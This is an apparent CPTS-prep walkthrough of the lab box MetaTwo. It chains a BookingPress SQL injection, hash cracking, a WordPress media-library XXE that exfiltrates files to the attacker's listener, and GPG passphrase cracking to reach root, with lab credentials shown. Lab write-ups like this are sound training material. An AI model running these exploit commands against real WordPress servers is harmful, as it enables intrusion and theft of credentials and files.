CPTS Prep - MetaTwo - Linux Easy

Difficulty: Easy OS: Linux Topics: WordPress, SQL Injection, XXE, FTP, Passpie, GPG


Overview

MetaTwo is an Easy-rated Linux box that chains together three CVEs to get from zero to root. The foothold comes from an unauthenticated SQL injection in a WordPress plugin that leaks password hashes, which are then cracked to log in as a low-privilege WordPress user. From there, an authenticated XXE vulnerability in the WordPress media library is used to read arbitrary files off the server, pulling credentials out of the WordPress config and an FTP-accessible PHP mailer script. Those credentials get us a shell as jnelson. Privilege escalation involves cracking a GPG key protecting a Passpie password store that contains root's SSH password.


Enumeration

Port Scan

r3v@copium ~ [SIGINT]> sudo nmap -sC -sV 10.129.228.95
[sudo] password for r3v: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-05 13:30 CEST
Nmap scan report for 10.129.228.95
Host is up (0.10s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp?
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA)
|   256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA)
|_  256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.27 seconds

Three ports: FTP on 21, SSH on 22, and nginx on 80. The HTTP server immediately discloses the domain metapress.htb via redirect, so that goes straight into /etc/hosts.

Anonymous FTP login does not work, so attention turns to the web server.

Web Enumeration

The site is a barebones WordPress installation. The footer confirms this and there is a search field and an events page with a booking form. Running gobuster against it to map out the structure:

r3v@copium ~> gobuster dir -u http://metapress.htb -w ~/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://metapress.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/r3v/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about                (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/rss                  (Status: 301) [Size: 0] [--> http://metapress.htb/feed/]
/login                (Status: 302) [Size: 0] [--> http://metapress.htb/wp-login.php]
/events               (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/0                    (Status: 301) [Size: 0] [--> http://metapress.htb/0/]
/feed                 (Status: 301) [Size: 0] [--> http://metapress.htb/feed/]
/atom                 (Status: 301) [Size: 0] [--> http://metapress.htb/feed/atom/]
/s                    (Status: 301) [Size: 0] [--> http://metapress.htb/sample-page/]
/a                    (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/c                    (Status: 301) [Size: 0] [--> http://metapress.htb/cancel-appointment/]
/wp-content           (Status: 301) [Size: 169] [--> http://metapress.htb/wp-content/]
/admin                (Status: 302) [Size: 0] [--> http://metapress.htb/wp-admin/]
/t                    (Status: 301) [Size: 0] [--> http://metapress.htb/thank-you/]
/e                    (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/h                    (Status: 301) [Size: 0] [--> http://metapress.htb/hello-world/]
/rss2                 (Status: 301) [Size: 0] [--> http://metapress.htb/feed/]
/About                (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/ca                   (Status: 301) [Size: 0] [--> http://metapress.htb/cancel-appointment/]
/event                (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/wp-includes          (Status: 301) [Size: 169] [--> http://metapress.htb/wp-includes/]
/C                    (Status: 301) [Size: 0] [--> http://metapress.htb/cancel-appointment/]
/A                    (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/S                    (Status: 301) [Size: 0] [--> http://metapress.htb/sample-page/]
/E                    (Status: 301) [Size: 0] [--> http://metapress.htb/events/]
/about-us             (Status: 301) [Size: 0] [--> http://metapress.htb/about-us/]
/Events               (Status: 301) [Size: 0] [--> http://metapress.htb/Events/]
/T                    (Status: 301) [Size: 0] [--> http://metapress.htb/thank-you/]
/H                    (Status: 301) [Size: 0] [--> http://metapress.htb/hello-world/]

The /events/ path stands out because it hosts the booking form. The /wp-admin/ redirect confirms it is WordPress.

WPScan

Since it is WordPress, WPScan is the obvious next step. The scan comes back with a huge number of findings:

 | Interesting Entries:
 |  - Server: nginx/1.18.0
 |  - X-Powered-By: PHP/8.0.24
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://metapress.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
 | Found By: Rss Generator (Passive Detection)
 |
 | [!] 53 vulnerabilities identified:
 |
 | [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
 |     Fixed in: 5.6.3
 |     References:
 |      - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447

[+] WordPress theme in use: twentytwentyone

[+] Enumerating Users (via Passive and Aggressive Methods)

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1

[+] manager
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Finished: Sat Sep  5 13:59:13 2026
[+] Requests Done: 3607
[+] Memory used: 335.625 MB
[+] Elapsed time: 00:01:35

The two key takeaways: WordPress 5.6.2 is running, and two users have been identified: admin and manager. The version is important because CVE-2021-29447, an authenticated XXE in the media library, affects exactly this version. However, we need valid credentials before that can be used.


Foothold

CVE-2022-0739: BookingPress SQL Injection

Opening the browser developer tools and watching the network tab while interacting with the events booking form reveals POST requests going to admin-ajax.php with an action of bookingpress_front_save_appointment_booking. Googling BookingPress 1.0.10 surfaces CVE-2022-0739, an unauthenticated SQL injection in exactly this plugin version.

The exploit requires a valid _wpnonce value, which can be grabbed from the page source of /events/. With that in hand:

r3v@copium ~/T/J/MetaTwo [255]> python3 bookingpressexpl.py -u http://metapress.htb/wp-admin/admin-ajax.php -n 346f05164d
- BookingPress PoC
-- Got db fingerprint:  10.5.15-MariaDB-0+deb11u1
-- Count of users:  2
|admin|[email protected]|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|[email protected]|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|

Two phpass hashes dumped. The manager hash gets cracked first:

r3v@copium ~/T/J/MetaTwo> hashcat -w 3 -O -D 1 '$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70' ~/Wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project]
==================================================================================================================================================
* Device #3: cpu-haswell-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 6896/13856 MB (2048 MB allocatable), 8MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

400 | phpass | Generic KDF

$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar     
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Time.Started.....: Sat Sep  5 16:36:30 2026 (6 secs)
Time.Estimated...: Sat Sep  5 16:36:36 2026 (0 secs)
Speed.#3.........:    22150 H/s (45.82ms) @ Accel:1024 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 114688/14344384 (0.80%)

Started: Sat Sep  5 16:36:11 2026
Stopped: Sat Sep  5 16:36:37 2026

Credentials: manager:partylikearockstar

CVE-2021-29447: WordPress Media Library XXE

With valid WordPress credentials, the XXE vulnerability in the media library becomes exploitable. WordPress 5.6.2 running on PHP 8 fails to sanitise XML external entity references when processing audio file metadata. By uploading a specially crafted WAV file containing an XXE payload, the server can be coerced into fetching an attacker-controlled DTD file and exfiltrating the contents of any file readable by the web server process.

r3v@copium ~/T/J/MetaTwo [1]> python3 ./CVE-2021-29447.py --lhost 10.10.15.93 --lport 4433 --target http://metapress.htb --user manager --password partylikearockstar --file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

Arbitrary file read is confirmed. The user jnelson is the only non-system user with a shell. Two services stand out: MySQL and ProFTPD. The wp-config.php file is the obvious next target since it always contains database credentials and often contains FTP credentials too when WordPress is configured to use FTP for file management. First, check the nginx config to get the exact web root path:

python3 ./CVE-2021-29447.py ... --file /etc/nginx/sites-enabled/default

Then pull the config:

r3v@copium ~/T/J/MetaTwo> python3 ./CVE-2021-29447.py --lhost 10.10.15.93 --lport 4433 --target http://metapress.htb --user manager --password partylikearockstar --file /var/www/metapress.htb/blog/wp-config.php
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

define( 'AUTH_KEY',         '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY',  'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY',    'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY',        'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT',        '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT',   '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT',       '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

Two sets of credentials recovered: DB credentials and FTP credentials. The FTP credentials open up the ability to browse the WordPress file structure. Inside the FTP share, a PHP mailer script is found containing yet another set of credentials:

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;                               
$mail->isSMTP();            

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "[email protected]";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;                                   

$mail->From = "[email protected]";
$mail->FromName = "James Nelson";

A plaintext password for jnelson. Testing it against SSH:

r3v@copium ~> ssh [email protected]
The authenticity of host 'metapress.htb (10.129.228.95)' can't be established.
ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'metapress.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23
jnelson@meta2:~$ ls
user.txt
jnelson@meta2:~$ cat user.txt

User flag captured.


Privilege Escalation

Passpie and GPG Key Cracking

Enumerating the home directory reveals a .passpie folder. Passpie is a command-line password manager that stores credentials as PGP-encrypted YAML files. The folder structure looks like this:

~/.passpie/
├── .keys       <- PGP keypair used to encrypt/decrypt all entries
└── ssh/
    └── root.pass

Listing the passpie entries confirms there are stored credentials for both jnelson and root:

jnelson@meta2:~/.passpie/ssh$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╝

The .keys file contains the PGP private key that protects the store. If the passphrase protecting that key can be cracked, all stored credentials can be decrypted. Pulling the private key block from .keys and running it through gpg2john then John the Ripper:

r3v@copium ~/s/j/run (bleeding-jumbo) [1]> ./gpg2john private.asc > root.hash

File private.asc
r3v@copium ~/s/j/run (bleeding-jumbo) [1]> ./john root.hash --wordlist=/home/r3v/Wordlists/rockyou.txt --format=gpg
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
blink182         (Passpie)     
1g 0:00:00:04 DONE (2026-09-05 17:53) 0.2326g/s 39.07p/s 39.07c/s 39.07C/s ginger..987654
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Cracked in 4 seconds. The passphrase is blink182. Back on the box, using passpie to export all stored credentials:

jnelson@meta2:~/.passpie/ssh$ passpie export ~/creds.txt
Passphrase: 
jnelson@meta2:~/.passpie/ssh$ cd ../..
jnelson@meta2:~$ cat creds.txt
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

Root's password is p7qfAZt4_A1xo_0x. Switching to root:

jnelson@meta2:~$ su root
Password: 
root@meta2:/home/jnelson# 

Summary

The attack chain on MetaTwo is a good example of how credential reuse and chained CVEs compound into a full compromise:

  1. CVE-2022-0739 (BookingPress unauthenticated SQLi) leaks WordPress user hashes
  2. Hashcat cracks the manager hash to partylikearockstar in under 10 seconds
  3. CVE-2021-29447 (WordPress XXE in media library) reads wp-config.php and the PHPMailer script off the server
  4. Plaintext FTP and SMTP credentials in those files, with the SMTP password being reused for jnelson's SSH login
  5. Passpie's .keys file contains a GPG private key whose passphrase (blink182) is cracked by John in 4 seconds, exposing root's SSH password in the decrypted store

A patch to WordPress 5.7.1 and removal of the vulnerable BookingPress plugin version would close both CVEs. Storing credentials in plaintext inside application configuration files that the web server can read is the root cause of the lateral movement step.